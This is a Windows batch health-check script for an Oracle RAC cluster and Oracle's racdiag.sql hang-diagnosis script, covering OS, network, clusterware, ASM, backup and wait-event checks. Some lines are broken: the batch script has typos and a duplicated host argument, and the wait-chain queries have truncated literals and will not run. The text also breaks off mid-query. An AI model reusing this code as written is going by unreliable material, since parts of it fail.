set ORACLE_ASM_SID=+ASM
set CRS_HOST1=user-TOSH
set CRS_HOST2=or-12
set ORA_DB_NAME=orcl
set ORA_DB_INST1=orcl
set ORA_DB_INST2=TESTRAC2
set ORA_DB_ALERT_FILE=D:\app\user\diag\rdbms\orcl\orcl\trace\alert_orcl.log
del sami.txt
echo Health Check Started: %date% - %time% >> %ORA_DIAG_OUPUT%
echo
echo
EVENTCREATE /T INFORMATION /ID 1000 /L APPLICATION /D " Starting Oracle RAC/DB Health Check by Sami"
CLS
:OS
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - Operating System # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
color a
echo ######################### System Info ####################################### >> %ORA_DIAG_OUPUT%
SYSTEMINFO >> %ORA_DIAG_OUPUT%
echo ######################### Checking ability to perform the software copy ###### >> %ORA_DIAG_OUPUT%
net use \\%CRS_HOST1%\C$ >> %ORA_DIAG_OUPUT%
net use \\%CRS_HOST2%\C$ >> %ORA_DIAG_OUPUT%
echo ######################### Displaying Services Info ########################## >> %ORA_DIAG_OUPUT%
SC query >> %ORA_DIAG_OUPUT%
echo ######################### Checking Diskpart ################################## >> %ORA_DIAG_OUPUT%
ECHO list disk >> temp
ECHO list vol >> temp
diskpart /s temp >> %ORA_DIAG_OUPUT%
del temp
echo
goto :NETWORK
:NETWORK
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - Network # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo ######################### Checking ARP ####################################### >> %ORA_DIAG_OUPUT%
ARP -a >> %ORA_DIAG_OUPUT%
echo ######################### Displaying IPCONFIG ############################### >> %ORA_DIAG_OUPUT%
ipconfig /all >> %ORA_DIAG_OUPUT%
echo ######################### Network Latency Check ############################# >> %ORA_DIAG_OUPUT%
pathping %CRS_HOST1% >> %ORA_DIAG_OUPUT%
pathping %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo ######################### General Global Parameters ######################### >> %ORA_DIAG_OUPUT%
echo ********* IPV4 >> %ORA_DIAG_OUPUT%
netsh interface ipv4 show global >> %ORA_DIAG_OUPUT%
echo ********* IPV6 >> %ORA_DIAG_OUPUT%
netsh interface ipv6 show global >> %ORA_DIAG_OUPUT%
echo
goto :CLUSTERWARE
:CLUSTERWARE
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - Clusterware # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo
echo
color b
set PATH=%ORA_CRS_HOME_BIN%;
echo ################################ Checing CRS ################################ >> %ORA_DIAG_OUPUT%
crsctl check crs >> %ORA_DIAG_OUPUT%
crsctl check cluster -all >> %ORA_DIAG_OUPUT%
echo ################################ Quick Check CRS Stats ###################### >> %ORA_DIAG_OUPUT%
crs_stat -t >> %ORA_DIAG_OUPUT%
crsctl stat res -t >> %ORA_DIAG_OUPUT%
echo ################################ Checking RAC DB Status #################### >> %ORA_DIAG_OUPUT%
srvctl status database -d %ORA_DB_NAME% -v >> %ORA_DIAG_OUPUT%
echo ################################ Checking Instance Status ################## >> %ORA_DIAG_OUPUT%
srvctl status instance -d %ORA_DB_NAME% -i %ORA_DB_INST1% -v >> %ORA_DIAG_OUPUT%
srvctl status instance -d %ORA_DB_NAME% -i %ORA_DB_INST2% -v >> %ORA_DIAG_OUPUT%
echo ################################ Status of all Nodes ######################## >> %ORA_DIAG_OUPUT%
srvctl status nodeapps -n %CRS_HOST1% >> %ORA_DIAG_OUPUT%
srvctl status nodeapps -n %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo ################################ Checking OCR ############################### >> %ORA_DIAG_OUPUT%
echo *********OCRCHECK >> %ORA_DIAG_OUPUT%
ocrcheck >> %ORA_DIAG_OUPUT%
echo *********OCR Backup >> %ORA_DIAG_OUPUT%
ocrconfig -showbackup >> %ORA_DIAG_OUPUT%
echo ################################ Checking VOTE Disk ######################### >> %ORA_DIAG_OUPUT%
crsctl query css votedisk >> %ORA_DIAG_OUPUT%
echo ################################ Checking current settings for VIP diag###### >> %ORA_DIAG_OUPUT%
srvctl config nodeapps -a -g -s >> %ORA_DIAG_OUPUT%
echo ################################ Checking Cluster Time Synchronization ###### >> %ORA_DIAG_OUPUT%
crsctl check ctss >> %ORA_DIAG_OUPUT%
echo ################ Checking High Availability Services automatic startup ###### >> %ORA_DIAG_OUPUT%
crsctl config crs >> %ORA_DIAG_OUPUT%
cho ################################ Checking ASM ############################### >> %ORA_DIAG_OUPUT%
echo *********ASM Disks >> %ORA_DIAG_OUPUT%
asmtool -list >> %ORA_DIAG_OUPUT%
echo *********ASM Instances >> %ORA_DIAG_OUPUT%
srvctl status asm -n %CRS_HOST1% >> %ORA_DIAG_OUPUT%
srvctl status asm -n %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo *********ASM Diskgroups >> %ORA_DIAG_OUPUT%
set ORACLE_SID=%ORACLE_ASM_SID%
set ORACLE_HOME=%ORA_DB_HOME%
%ORA_DB_HOME%\bin\asmcmd ls >> %ORA_DIAG_OUPUT%
%ORA_DB_HOME%\bin\asmcmd lsdg >> %ORA_DIAG_OUPUT%
set ORACLE_SID=NULL
echo
echo
echo ################################ Checking CLUVFY ############################ >> %ORA_DIAG_OUPUT%
color c
echo *********** compliance with mandatory requirements and best practices >> %ORA_DIAG_OUPUT%
cluvfy comp healthcheck >> %ORA_DIAG_OUPUT%
echo
echo
echo *********** CRSINST >> %ORA_DIAG_OUPUT%
cluvfy stage -pre crsinst -n %CRS_HOST1%,%CRS_HOST1% -verbose >> %ORA_DIAG_OUPUT%
echo *********** DBINST >> %ORA_DIAG_OUPUT%
cluvfy stage -pre dbinst -n %CRS_HOST1%,%CRS_HOST1% -verbose >> %ORA_DIAG_OUPUT%
echo *********** DBCFG >> %ORA_DIAG_OUPUT%
cluvfy stage -pre dbcfg -n all -d %ORA_CRS_HOME% -verbose >> %ORA_DIAG_OUPUT%
ehco
goto :DATABASE
:DATABASE
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - Database # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo
echo
color d
set ORACLE_SID=%ORA_DB_INST1%
set ORACLE_SID=RAC1
echo ################################ Running Scripts on DB ###################### >> %ORA_DIAG_OUPUT%
echo *********** SGA >> %ORA_DIAG_OUPUT%
set ORA_DIAG_OUPUT=sami.txt
del temp.sql
del temp
echo set lines 180
echo set pages 50
echo spool temp >> temp.sql
echo show sga; >> temp.sql
echo select '*********** List of all datafiles' " " from dual; >> temp.sql
echo select substr(file_name,1,50) file_name, bytes/1024/1024 from dba_data_files; >> temp.sql
echo select '*********** Status of all the groups' " " from dual; >> temp.sql
echo select group#, type, substr(member,1,50) member, is_recovery_dest_file from v$logfile order by group#; >> temp.sql
echo select '*********** diskgroup view' " " from dual; >> temp.sql
echo select group_number, substr(name,1,20),allocation_unit_size alloc_unit_size,state,type,total_mb,usable_file_mb from v$asm_diskgroup; >> temp.sql
echo spool off >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
type temp.lst >> %ORA_DIAG_OUPUT%
echo
:ERROR
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - Errors # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
color e
echo ################################ Checking for 07445 ######################### >> %ORA_DIAG_OUPUT%
find "ora-07445" %ORA_DB_ALERT_FILE% /I /N >> %ORA_DIAG_OUPUT%
echo ################################ Checking for 00600 ######################### >> %ORA_DIAG_OUPUT%
find "ora-00600" %ORA_DB_ALERT_FILE% /I /N >> %ORA_DIAG_OUPUT%
echo
:RMAN
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - RMAN # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo
echo
color f
set ORACLE_SID=%ORA_DB_INST1%
echo ################################ RMAN Configurations ######################## >> %ORA_DIAG_OUPUT%
del temp.sql
del temp
echo show all; >> temp.rcv
echo list backup; >> temp.rcv
%ORA_DB_HOME%\bin\rman target / CMDFILE=temp.rcv >> %ORA_DIAG_OUPUT%
del temp.rcv
echo
:ADDM
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - ADDM # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo
echo
color
echo ################################ Running ADDM ########################### >> %ORA_DIAG_OUPUT%
echo *********** Please provide the begin/end snap ids and filename must be temp
del temp.sql
del temp
echo @%ORA_DB_HOME%\RDBMS\ADMIN\addmrpt; >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
type temp.lst >> %ORA_DIAG_OUPUT%
echo ################################ End of ADDM ########################### >> %ORA_DIAG_OUPUT%
echo
:AWR
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo # Analysis - AWR # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo
echo
echo ################################ Running AWR ################################ >> %ORA_DIAG_OUPUT%
del temp.sql
del temp
echo @%ORA_DB_HOME%\RDBMS\ADMIN\awrrpt; >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
echo ################################ End of AWR ################################# >> %ORA_DIAG_OUPUT%
type temp.lst >> %ORA_DIAG_OUPUT%
echo
goto :EOF
:EOF
EVENTCREATE /T INFORMATION /ID 1000 /L APPLICATION /D " Finished Oracle RAC/DB Health Check by Sami"
echo
echo
echo Helath Check Finished: %date% - %time% >> %ORA_DIAG_OUPUT%
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
-- NAME: RACDIAG.SQL
-- SYS OR INTERNAL USER, CATPARR.SQL ALREADY RUN, PARALLEL QUERY OPTION ON
-- ------------------------------------------------------------------------
-- AUTHOR:
-- Michael Polaski - Oracle Support Services
-- Copyright 2002, Oracle Corporation
-- ------------------------------------------------------------------------
-- PURPOSE:
-- This script is intended to provide a user friendly guide to troubleshoot
-- RAC hung sessions or slow performance scenerios. The script includes
-- information to gather a variety of important debug information to determine
-- the cause of a RAC session level hang. The script will create a file
-- called racdiag_.out in your local directory while dumping hang analyze
-- dumps in the user_dump_dest(s) and background_dump_dest(s) on all nodes.
--
-- ------------------------------------------------------------------------
-- DISCLAIMER:
-- This script is provided for educational purposes only. It is NOT
-- supported by Oracle World Wide Technical Support.
-- The script has been tested and appears to work as intended.
-- You should always run new scripts on a test instance initially.
-- ------------------------------------------------------------------------
-- Script output is as follows:
set echo off
set feedback off
column timecol new_value timestamp
column spool_extension new_value suffix
select to_char(sysdate,'Mondd_hhmi') timecol,
'.out' spool_extension from sys.dual;
column output new_value dbname
select value || '_' output
from v$parameter where name = 'db_name';
spool racdiag_&&dbname&×tamp&&suffix
set lines 200
set pagesize 35
set trim on
set trims on
alter session set nls_date_format = 'MON-DD-YYYY HH24:MI:SS';
alter session set timed_statistics = true;
set feedback on
select to_char(sysdate) time from dual;
set numwidth 5
column host_name format a20 tru
select inst_id, instance_name, host_name, version, status, startup_time
from gv$instance
order by inst_id;
set echo on
-- WAIT CHAINS
-- 11.x+ Only (This will not work in < v11
-- See Note 1428210.1 for instructions on interpreting.
set pages 1000
set lines 120
set heading off
column w_proc format a50 tru
column instance format a20 tru
column inst format a28 tru
column wait_event format a50 tru
column p1 format a16 tru
column p2 format a16 tru
column p3 format a15 tru
column Seconds format a50 tru
column sincelw format a50 tru
column blocker_proc format a50 tru
column waiters format a50 tru
column chain_signature format a100 wra
column blocker_chain format a100 wra
SELECT *
FROM (SELECT 'Current Process: '||osid W_PROC, 'SID '||i.instance_name INSTANCE,
'INST #: '||instance INST,'Blocking Process: '||decode(blocker_osid,null,'
' from Instance '||blocker_instance BLOCKER_PROC,'Number of waiters: '||num_waiters waiters,
'Wait Event: ' ||wait_event_text wait_event, 'P1: '||p1 p1, 'P2: '||p2 p2, 'P3: '||p3 p3,
'Seconds in Wait: '||in_wait_secs Seconds, 'Seconds Since Last Wait: '||time_since_last_wait_secs sincelw,
'Wait Chain: '||chain_id ||': '||chain_signature chain_signature,'Blocking Wait Chain: '||decode(blocker_chain_id,null,
'
FROM v$wait_chains wc,
v$instance i
WHERE wc.instance = i.instance_number (+)
AND ( num_waiters > 0
OR ( blocker_osid IS NOT NULL
AND in_wait_secs > 10 ) )
ORDER BY chain_id,
num_waiters DESC)
WHERE ROWNUM < 101;
-- Taking Hang Analyze dumps
-- This may take a little while...
oradebug setmypid
oradebug unlimit
oradebug -g all hanganalyze 3
-- This part may take the longest, you can monitor bdump or udump to see if
-- the file is being generated.
oradebug -g all dump systemstate 258
-- WAITING SESSIONS:
-- The entries that are shown at the top are the sessions that have
-- waited the longest amount of time that are waiting for non-idle wait
-- events (event column). You can research and find out what the wait
-- event indicates (along with its parameters) by checking the Oracle
-- Server Reference Manual or look for any known issues or documentation
-- by searching Metalink for the event name in the search bar. Example
-- (include single quotes): [ 'buffer busy due to global cache' ].
-- Metalink and/or the Server Reference Manual should return some useful
-- information on each type of wait event. The inst_id column shows the
-- instance where the session resides and the SID is the unique identifier
-- for the session (gv$session). The p1, p2, and p3 columns will show
-- event specific information that may be important to debug the problem.
-- To find out what the p1, p2, and p3 indicates see the next section.
-- Items with wait_time of anything other than 0 indicate we do not know
-- how long these sessions have been waiting.
--
set numwidth 10
column state format a7 tru
column event format a25 tru
column last_sql format a40 tru
select sw.inst_id, sw.sid, sw.state, sw.event, sw.seconds_in_wait seconds,
sw.p1, sw.p2, sw.p3, sa.sql_text last_sql
from gv$session_wait sw, gv$session s, gv$sqlarea sa
where sw.event not in
('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and sw.seconds_in_wait > 0
and (sw.inst_id = s.inst_id and sw.sid = s.sid)
and (s.inst_id = sa.inst_id and s.sql_address = sa.address)
order by seconds desc;
-- EVENT PARAMETER LOOKUP:
-- This section will give a description of the parameter names of the
-- events seen in the last section. p1test is the parameter value for
-- p1 in the WAITING SESSIONS section while p2text is the parameter
-- value for p3 and p3 text is the parameter value for p3. The
-- parameter values in the first section can be helpful for debugging
-- the wait event.
--
column event format a30 tru
column p1text format a25 tru
column p2text format a25 tru
column p3text format a25 tru
select distinct event, p1text, p2text, p3text
from gv$session_wait sw
where sw.event not in ('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and seconds_in_wait > 0
order by event;
-- GES LOCK BLOCKERS:
-- This section will show us any sessions that are holding locks that
-- are blocking other users. The inst_id will show us the instance that
-- the session resides on while the sid will be a unique identifier for
-- the session. The grant_level will show us how the GES lock is granted to
-- the user. The request_level will show us what status we are trying to
-- obtain. The lockstate column will show us what status the lock is in.
-- The last column shows how long this session has been waiting.
--
set numwidth 5
column state format a16 tru;
column event format a30 tru;
select dl.inst_id, s.sid, p.spid, dl.resource_name1,
decode(substr(dl.grant_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as grant_level,
decode(substr(dl.request_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as request_level,
decode(substr(dl.state,1,8),'KJUSERGR','Granted','KJUSEROP','Opening',
'KJUSERCA','Canceling','KJUSERCV','Converting') as state,
s.sid, sw.event, sw.seconds_in_wait sec
from gv$ges_enqueue dl, gv$process p, gv$session s, gv$session_wait sw
where blocker = 1
and (dl.inst_id = p.inst_id and dl.pid = p.spid)
and (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by sw.seconds_in_wait desc;
-- GES LOCK WAITERS:
-- This section will show us any sessions that are waiting for locks that
-- are blocked by other users. The inst_id will show us the instance that
-- the session resides on while the sid will be a unique identifier for
-- the session. The grant_level will show us how the GES lock is granted to
-- the user. The request_level will show us what status we are trying to
-- obtain. The lockstate column will show us what status the lock is in.
-- The last column shows how long this session has been waiting.
--
set numwidth 5
column state format a16 tru;
column event format a30 tru;
select dl.inst_id, s.sid, p.spid, dl.resource_name1,
decode(substr(dl.grant_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as grant_level,
decode(substr(dl.request_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as request_level,
decode(substr(dl.state,1,8),'KJUSERGR','Granted','KJUSEROP','Opening',
'KJUSERCA','Cancelling','KJUSERCV','Converting') as state,
s.sid, sw.event, sw.seconds_in_wait sec
from gv$ges_enqueue dl, gv$process p, gv$session s, gv$session_wait sw
where blocked = 1
and (dl.inst_id = p.inst_id and dl.pid = p.spid)
and (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by sw.seconds_in_wait desc;
-- LOCAL ENQUEUES:
-- This section will show us if there are any local enqueues. The inst_id will
-- show us the instance that the session resides on while the sid will be a
-- unique identifier for. The addr column will show the lock address. The type
-- will show the lock type. The id1 and id2 columns will show specific
-- parameters for the lock type.
--
set numwidth 12
column event format a12 tru
select l.inst_id, l.sid, l.addr, l.type, l.id1, l.id2,
decode(l.block,0,'blocked',1,'blocking',2,'global') block,
sw.event, sw.seconds_in_wait sec
from gv$lock l, gv$session_wait sw
where (l.sid = sw.sid and l.inst_id = sw.inst_id)
and l.block in (0,1)
order by l.type, l.inst_id, l.sid;
-- LATCH HOLDERS:
-- If there is latch contention or 'latch free' wait events in the WAITING
-- SESSIONS section we will need to find out which proceseses are holding
-- latches. The inst_id will show us the instance that the session resides
-- on while the sid will be a unique identifier for. The username column
-- will show the session's username. The os_user column will show the os
-- user that the user logged in as. The name column will show us the type
-- of latch being waited on. You can search Metalink for the latch name in
-- the search bar. Example (include single quotes):
-- [ 'library cache' latch ]. Metalink should return some useful information
-- on the type of latch.
--
set numwidth 5
select distinct lh.inst_id, s.sid, s.username, p.username os_user, lh.name
from gv$latchholder lh, gv$session s, gv$process p
where (lh.sid = s.sid and lh.inst_id = s.inst_id)
and (s.inst_id = p.inst_id and s.paddr = p.addr)
order by lh.inst_id, s.sid;
-- LATCH STATS:
-- This view will show us latches with less than optimal hit ratios
-- The inst_id will show us the instance for the particular latch. The
-- latch_name column will show us the type of latch. You can search Metalink
-- for the latch name in the search bar. Example (include single quotes):
-- [ 'library cache' latch ]. Metalink should return some useful information
-- on the type of latch. The hit_ratio shows the percentage of time we
-- successfully acquired the latch.
--
column latch_name format a30 tru
select inst_id, name latch_name,
round((gets-misses)/decode(gets,0,1,gets),3) hit_ratio,
round(sleeps/decode(misses,0,1,misses),3) "SLEEPS/MISS"
from gv$latch
where round((gets-misses)/decode(gets,0,1,gets),3) < .99
and gets != 0
order by round((gets-misses)/decode(gets,0,1,gets),3);
-- No Wait Latches:
--
select inst_id, name latch_name,
round((immediate_gets/(immediate_gets+immediate_misses)), 3) hit_ratio,
round(sleeps/decode(immediate_misses,0,1,immediate_misses),3) "SLEEPS/MISS"
from gv$latch
where round((immediate_gets/(immediate_gets+immediate_misses)), 3) < .99
and immediate_gets + immediate_misses > 0
order by round((immediate_gets/(immediate_gets+immediate_misses)), 3);
-- GLOBAL CACHE CR PERFORMANCE
-- This shows the average latency of a consistent block request.
-- AVG CR BLOCK RECEIVE TIME should typically be about 15 milliseconds
-- depending on your system configuration and volume, is the average
-- latency of a consistent-read request round-trip from the requesting
-- instance to the holding instance and back to the requesting instance. If
-- your CPU has limited idle time and your system typically processes
-- long-running queries, then the latency may be higher. However, it is
-- possible to have an average latency of less than one millisecond with
-- User-mode IPC. Latency can be influenced by a high value for the
-- DB_MULTI_BLOCK_READ_COUNT parameter. This is because a requesting process
-- can issue more than one request for a block depending on the setting of
-- this parameter. Correspondingly, the requesting process may wait longer.
-- Also check interconnect badwidth, OS tcp settings, and OS udp settings if
-- AVG CR BLOCK RECEIVE TIME is high.
--
set numwidth 20
column "AVG CR BLOCK RECEIVE TIME (ms)" format 9999999.9
select b1.inst_id, b2.value "GCS CR BLOCKS RECEIVED",
b1.value "GCS CR BLOCK RECEIVE TIME",
((b1.value / b2.value) * 10) "AVG CR BLOCK RECEIVE TIME (ms)"
from gv$sysstat b1, gv$sysstat b2
where b1.name = 'global cache cr block receive time' and
b2.name = 'global cache cr blocks received' and b1.inst_id = b2.inst_id
or b1.name = 'gc cr block receive time' and
b2.name = 'gc cr blocks received' and b1.inst_id = b2.inst_id ;
-- GLOBAL CACHE LOCK PERFORMANCE
-- This shows the average global enqueue get time.
-- Typically AVG GLOBAL LOCK GET TIME should be 20-30 milliseconds. the
-- elapsed time for a get includes the allocation and initialization of a
-- new global enqueue. If the average global enqueue get (global cache
-- get time) or average global enqueue conversion times are excessive,
-- then your system may be experiencing timeouts. See the 'WAITING SESSIONS',
-- 'GES LOCK BLOCKERS', GES LOCK WAITERS', and 'TOP 10 WAIT EVENTS ON SYSTEM'
-- sections if the AVG GLOBAL LOCK GET TIME is high.
--
set numwidth 20
column "AVG GLOBAL LOCK GET TIME (ms)" format 9999999.9
select b1.inst_id, (b1.value + b2.value) "GLOBAL LOCK GETS",
b3.value "GLOBAL LOCK GET TIME",
(b3.value / (b1.value + b2.value) * 10) "AVG GLOBAL LOCK GET TIME (ms)"
from gv$sysstat b1, gv$sysstat b2, gv$sysstat b3
where b1.name = 'global lock sync gets' and
b2.name = 'global lock async gets' and b3.name = 'global lock get time'
and b1.inst_id = b2.inst_id and b2.inst_id = b3.inst_id
or b1.name = 'global enqueue gets sync' and
b2.name = 'global enqueue gets async' and b3.name = 'global enqueue get time'
and b1.inst_id = b2.inst_id and b2.inst_id = b3.inst_id;
-- RESOURCE USAGE
-- This section will show how much of our resources we have used.
--
set numwidth 8
select inst_id, resource_name, current_utilization, max_utilization,
initial_allocation
from gv$resource_limit
where max_utilization > 0
order by inst_id, resource_name;
-- DLM TRAFFIC INFORMATION
-- This section shows how many tickets are available in the DLM. If the
-- TCKT_WAIT columns says "YES" then we have run out of DLM tickets which
-- could cause a DLM hang. Make sure that you also have enough TCKT_AVAIL.
--
set numwidth 5
select * from gv$dlm_traffic_controller
order by TCKT_AVAIL;
-- DLM MISC
--
set numwidth 10
select * from gv$dlm_misc;
-- LOCK CONVERSION DETAIL:
-- This view shows the types of lock conversion being done on each instance.
--
select * from gv$lock_activity;
-- TOP 10 WRITE PINGING/FUSION OBJECTS
-- This view shows the top 10 objects for write pings accross instances.
-- The inst_id column shows the node that the block was pinged on. The name
-- column shows the object name of the offending object. The file# shows the
-- offending file number (gc_files_to_locks). The STATUS column will show the
-- current status of the pinged block. The READ_PINGS will show us read
-- converts and the WRITE_PINGS will show us objects with write converts.
-- Any rows that show up are objects that are concurrently accessed across
-- more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_writes) desc)
where rownum < 11
order by WRITE_PINGS desc;
-- TOP 10 READ PINGING/FUSION OBJECTS
-- This view shows the top 10 objects for read pings. The inst_id column shows
-- the node that the block was pinged on. The name column shows the object
-- name of the offending object. The file# shows the offending file number
-- (gc_files_to_locks). The STATUS column will show the current status of the
-- pinged block. The READ_PINGS will show us read converts and the WRITE_PINGS
-- will show us objects with write converts. Any rows that show up are objects
-- that are concurrently accessed across more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_reads) desc)
where rownum < 11
order by READ_PINGS desc;
-- TOP 10 FALSE PINGING OBJECTS
-- This view shows the top 10 objects for false pings. This can be avoided by
-- better gc_files_to_locks configuration. The inst_id column shows the node
-- that the block was pinged on. The name column shows the object name of the
-- offending object. The file# shows the offending file number
-- (gc_files_to_locks). The STATUS column will show the current status of the
-- pinged block. The READ_PINGS will show us read converts and the WRITE_PINGS
-- will show us objects with write converts. Any rows that show up are objects
-- that are concurrently accessed across more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$false_ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_writes) desc)
where rownum < 11
order by WRITE_PINGS desc;
-- INITIALIZATION PARAMETERS:
-- Non-default init parameters for each node.
--
set numwidth 5
column name format a30 tru
column value format a50 wra
column description format a60 tru
select inst_id, name, value, description
from gv$parameter
where isdefault = 'FALSE'
order by inst_id, name;
-- TOP 10 WAIT EVENTS ON SYSTEM
-- This view will provide a summary of the top wait events in the db.
--
set numwidth 10
column event format a25 tru
select inst_id, event, time_waited, total_waits, total_timeouts
from (select inst_id, event, time_waited, total_waits, total_timeouts
from gv$system_event where event not in ('rdbms ipc message','smon timer',
'pmon timer', 'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
order by time_waited desc)
where rownum < 11
order by time_waited desc;
-- SESSION/PROCESS REFERENCE:
-- This section is very important for most of the above sections to find out
-- which user/os_user/process is identified to which session/process.
--
set numwidth 7
column event format a30 tru
column program format a25 tru
column username format a15 tru
select p.inst_id, s.sid, s.serial#, p.pid, p.spid, p.program, s.username,
p.username os_user, sw.event, sw.seconds_in_wait sec
from gv$process p, gv$session s, gv$session_wait sw
where (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by p.inst_id, s.sid;
-- SYSTEM STATISTICS:
-- All System Stats with values of > 0. These can be referenced in the
-- Server Reference Manual
--
set numwidth 5
column name format a60 tru
column value format 9999999999999999999999999
select inst_id, name, value
from gv$sysstat
where value > 0
order by inst_id, name;
-- CURRENT SQL FOR WAITING SESSIONS:
-- Current SQL for any session in the WAITING SESSIONS list
--
set numwidth 5
column sql format a80 wra
select sw.inst_id, sw.sid, sw.seconds_in_wait sec, sa.sql_text sql
from gv$session_wait sw, gv$session s, gv$sqlarea sa
where sw.sid = s.sid (+)
and sw.inst_id = s.inst_id (+)
and s.sql_address = sa.address
and sw.event not in ('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and sw.seconds_in_wait > 0
order by sw.seconds_in_wait desc;
-- WAIT CHAINS
-- 11.x+ Only (This will not work in < v11
-- See Note 1428210.1 for instructions on interpreting.
set pages 1000
set lines 120
set heading off
column w_proc format a50 tru
column instance format a20 tru
column inst format a28 tru
column wait_event format a50 tru
column p1 format a16 tru
column p2 format a16 tru
column p3 format a15 tru
column seconds format a50 tru
column sincelw format a50 tru
column blocker_proc format a50 tru
column waiters format a50 tru
column chain_signature format a100 wra
column blocker_chain format a100 wra
SELECT *
FROM (SELECT 'Current Process: '||osid W_PROC, 'SID '||i.instance_name INSTANCE,
'INST #: '||instance INST,'Blocking Process: '||decode(blocker_osid,null,'
' from Instance '||blocker_instance BLOCKER_PROC,'Number of waiters: '||num_waiters waiters,
'Wait Event: ' ||wait_event_text wait_event, 'P1: '||p1 p1, 'P2: '||p2 p2, 'P3: '||p3 p3,
